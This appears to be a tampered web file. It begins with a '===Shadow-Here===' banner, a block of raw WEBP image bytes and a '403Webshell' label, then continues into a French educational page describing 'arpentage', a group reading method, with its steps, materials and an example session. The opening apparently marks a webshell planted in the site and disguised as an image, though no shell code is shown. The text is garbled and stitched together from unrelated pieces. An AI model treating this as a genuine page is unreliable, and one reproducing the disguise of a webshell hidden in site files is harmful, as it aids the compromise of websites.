....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! 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403Webshell
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 <div  class="centrer fond_colonne">
		<div class=grid>
		<div class=grid3-1>
			<div style="background:white;padding:50px;">
		<h1 class="H1sousligne"><span class=" icon-outils cercle outils" style="float: left;"></span> Stimuler la lecture collective avec un arpentage</h1>
		<div style="padding:0 0 0 70px;">
				<span class="icon-auteur petit"  style="font-size:1.8rem;"> </span>Publié par Herman Melo<br>
				
					 <span class=tag_blanc>Outil d&#8217;animation</span>
				<br>
		</div>
				<br><br>
				<div class="vignette_logo">
				<img
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				</div>


<A NAME="source"></A><h2 class=bleu>Source </h2><p>
	M&eacute;thode de lecture collective issue de la culture ouvri&egrave;re (cercle ouvrier) puis r&eacute;utilis&eacute;e par les praticiens de l&rsquo;entrainement mental pendant la seconde guerre mondiale par des r&eacute;sistants (autour de Dumazedier), diffus&eacute;e plus largement par <a class='spip' href='http://www.peuple-et-culture.org/'>Peuple et Culture</a>, mouvement d&rsquo;&eacute;ducation populaire, &agrave; partir des ann&eacute;es 1950.<br/>
	Fiche adapt&eacute;e des travaux des <a class='spip' href='https://www.reseaucrefad.org/'>Cr&eacute;fad</a> et des formalisations de la coop&eacute;rative d&rsquo;&eacute;ducation populaire l&rsquo;<a class='spip' href='http://lengrenage.blogspot.fr/'>Engrenage</a> et du collectif <a class='spip' href='http://la-trouvaille.org/'>la Trouvaille</a>.</p>
 
<A NAME="public"></A><h2 class=bleu>Public </h2><p>
	Tout public</p>

  
<A NAME="materiel"></A><h2 class=bleu>Matériel nécessaire </h2> <p>
	- 3 &agrave; 4 exemplaires du document ou du corpus de documents, en fonction de la taille des groupes, &eacute;ventuellement des ordinateurs pour des documents multim&eacute;dias - 3 paquets de post-its de couleurs diff&eacute;rentes, des stylos, un tableau</p>

   
<A NAME="finalite"></A><h2 class=bleu>Finalité </h2> <p>
	L&rsquo;arpentage est une m&eacute;thode de d&eacute;couverte &agrave; plusieurs d&rsquo;un document ou d&rsquo;un corpus de documents, en vue de leur appropriation critique.</p>
	  
<A NAME="objectifs_gene"></A><h2 class=bleu>Objectifs généraux </h2> <p>
	- Faciliter la compr&eacute;hension par un groupe h&eacute;t&eacute;rog&egrave;ne d&rsquo;un document ou corpus de documents et de ses enjeux en tr&egrave;s peu de temps - faciliter la r&eacute;flexion collective</p>

	  
<A NAME="objectifs_peda"></A><h2 class=bleu>Objectifs pédagogiques</h2> <p>
	Mettre les participants en capacit&eacute;: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
	- de r&eacute;fl&eacute;chir de mani&egrave;re individuelle au regard des r&eacute;flexions collectives; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
	- de mettre en commun des connaissances, des id&eacute;es et des intuitions; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
	- d&rsquo;aborder la lecture sous une forme singuli&egrave;re : collective et partielle.</p>

		 
<A NAME="prepa_salle"></A><h2 class=bleu>Préparation </h2> <p>
	Pr&eacute;parer autant d&rsquo;espaces de travail autour de tables dans une salle ou plusieurs que de groupes de lecture. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
	Disposer sur chaque espace de travail une partie des documents choisis, ou litt&eacute;ralement une partie du document (d&eacute;chirer un livre en plusieurs morceaux). &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
	La s&eacute;lection du ou des documents devra &ecirc;tre r&eacute;fl&eacute;chie &agrave; l&rsquo;avance par rapport aux objectifs de l&rsquo;animation. Par exemple, dans le cadre d&rsquo;un arpentage sur les alternatives pour des transitions solidaires, le site Internet d&rsquo;Une Seule Plan&egrave;te peut-&ecirc;tre une bonne base pour identifier des exemples concrets et des r&eacute;flexions plus globales.</p>

			
<A NAME="grandes_etapes"></A><h2 class=bleu>Les grandes étapes </h2> <p>
	<strong>Etape 1</strong> Introduction (15 min)<br/>
	Présentation de la thématique de l’arpentage choisie et du/des documents mis à disposition des participants (éléments de contexte permettant de ne pas se perdre dans la lecture). L’animateur explique le déroulé de la séance. Ne pas oublier de commencer par un éventuel tour de table ou brise-glace si le groupe ne se connaît pas.</p>
<p>
	<strong>Etape 2</strong> Prise de connaissance des documents (1 heure)<br/>
	En groupes de 3 ou 4, les participants prennent connaissance d’une partie du document ou d’un document issu du corpus choisi. Compter 30 minutes de lectures pour un article de moins de 6 à 7 pages. Ensuite, ensemble ils doivent identifier et écrire sur des post-it&nbsp;:<br/>
	- 3 choses qui font sens<br/>
	- 2 choses avec lesquelles on est en désaccord<br/>
	- 1 élément qu’il faut essayer de garder en tête</p>
<p>
	<strong>Etape 3</strong> Restitution en grand groupe (1 heure 30 min)<br/>
	Chaque groupe présente les post-it produits en venant les positionner sur le tableau. Les nouveaux groupes peuvent à tout moment réorganiser les post-it. Ce temps est suivi d’une discussion qui peut-être structurée par l’animateur en plusieurs questions&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>
	- Que pensez-vous de l’organisation des idées à laquelle on est arrivée&nbsp;?<br/>
	- Quelles questions vous posez vous encore&nbsp;?<br/>
	- Des questions plus spécifiques sur la thématique peuvent être préparées, ex&nbsp;: pouvez-vous imaginer ce type d’alternatives sur votre territoire&nbsp;? En connaissez-vous des similaires&nbsp;? - En quoi cette lecture m’a été utile&nbsp;?</p>
<p>
	<strong>Etape 4</strong> Retour sur la méthode (15 min)<br/>
	Demander au groupe comment il a vécu la méthode et s’il se sentirait capable de la réutiliser.</p>
   


<A NAME="conseils_animateur"></A><h2 class=bleu>Conseils à l'animateur</h2> <p>
	L&#39;animateur est un facilitateur, il doit au maximum laisser le groupe &eacute;voluer en autonomie dans le cadre pos&eacute;. Il doit assurer une coh&eacute;rence dans ses documents, bien cadrer l&rsquo;introduction et les &eacute;tapes de d&eacute;brief 3 et 4.</p>

	
<A NAME="exemple_utilisation"></A><h2 class=bleu>Exemples d'utilisation de l'outil </h2> <p>
	Dans le cadre du module &laquo; alternatives &raquo; de l&rsquo;<a class='spip' href='http://www.universite-si.org/'>Universit&eacute; d&rsquo;&eacute;t&eacute; des mouvements sociaux et de la solidarit&eacute; internationale</a> qui s&rsquo;est tenue en 2017 &agrave; Besan&ccedil;on, un arpentage autour de la question &laquo; faut-il toujours innover dans les alternatives ? &raquo; a &eacute;t&eacute; organis&eacute;.</p>
<p>
	Le corpus de documents choisi &eacute;tait organis&eacute; autour de 4 sous-th&eacute;matiques. Le choix avait m&ecirc;me &eacute;t&eacute; fait d&rsquo;int&eacute;grer un t&eacute;moin parmi les documents : &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<br />
	- Fausses solutions: Un rapport d&rsquo;ONG sur la pr&eacute;sence de la g&eacute;o-ing&eacute;nierie aux r&eacute;unions de l&rsquo;ONU; Une vid&eacute;o sur des cireurs de chaussure ayant gagn&eacute; le prix de l&rsquo;innovation sociale dans le quartier d&rsquo;affaire de La D&eacute;fense. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
	- Limites de l&rsquo;innovation et limites de la croissance: Une vid&eacute;o sur la formation citoyenne des ing&eacute;nieurs; Un article &laquo; Contre la croissance infinie &raquo;. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<br />
	- Approche terrain : les nouvelles technologies au service de l&rsquo;&eacute;ducation des consommateurs au Togo; Un t&eacute;moin, administrateur d&rsquo;une organisation pour le d&eacute;veloppement local au Togo.<br />
	- Tendances de l&rsquo;innovation sociale: Une infographie d&rsquo;une agence europ&eacute;enne proposant un &eacute;t&eacute; des lieux de l&rsquo;innovation sociale en Europe; Un article sur les limites de l&rsquo;entreprenariat social; Une interview sur la notion de pair-&agrave;-pair et ses enjeux pour la soci&eacute;t&eacute; civile.</p>
	
 
  <br><br><a onclick="window.open('http://www.facebook.com/sharer/sharer.php?t=Stimuler+la+lecture+collective+avec+un+arpentage&amp;u=https%3A%2F%2Fm.uneseuleplanete.org%2FArpentage', 'facebook', 'width=400, height=200');" title="Partager sur Facebook" rel="nofollow" ><img src="/images/btr_fb.png"  alt="bouton Facebook"></A> &nbsp; 
	  <a onclick="window.open('https://twitter.com/intent/tweet?text=Stimuler+la+lecture+collective+avec+un+arpentage&amp;url=https%3A%2F%2Fm.uneseuleplanete.org%2FArpentage', 'tweeter', 'width=400, height=200');" title="Partager sur Twitter" rel="nofollow" ><img src="/images/btr_tw.png"  alt="bouton Twitter"></A>	
	  
		</div>
		<div><br><br><br>
			<p class=legende>Infos pratiques</p>
			<p  ><span class="icon-fleche_droite petit" style="font-size:1.8rem;"></span>Nombre de personnes<br><span style="color:black;"> De 5 à 20</span> </p>

			<p ><span class="icon-fleche_droite petit" style="font-size:1.8rem;"></span>Durée de l'animation<br><span style="color:black;">3 heures</span> </p>
			
			<p ><span class="icon-fleche_droite petit" style="font-size:1.8rem;"></span> Prix : <span style="color:black;">Eventuel coût des documents <? if (is_numeric("Eventuel coût des documents")) echo " &euro;"; ?></span> </p>
			
			
			
			<p class=legende>Sommaire</p>
			  > <A HREF="#source">Source</A><br>
			  > <A HREF="#public">Public</A><br>
			  > <A HREF="#materiel">Matériel nécessaire</A><br>
			  > <A HREF="#finalite">Finalité</A><br>
			  > <A HREF="#objectifs_gene">Objectifs généraux</A><br>
			  > <A HREF="#objectifs_peda">Objectifs pédagogiques</A><br>
			  > <A HREF="#prepa_salle">Préparation</A><br>
			  > <A HREF="#grandes_etapes">Les grandes étapes</A><br>
			
			  > <A HREF="#conseils_animateur">Conseils à l'animateur</A><br>
			</div>
		</div>
		</div>
</div>

<div style="background:#2b2931;margin-top:30px;padding:30px 0;display:none;" id=liens>
	<div class=pcentrer>
	<h3 style="color:white;">Cet outil est présent dans les étapes suivantes</h3>
		
		
		
	<div class=nettoyeur></div>
	</div>
</div>	





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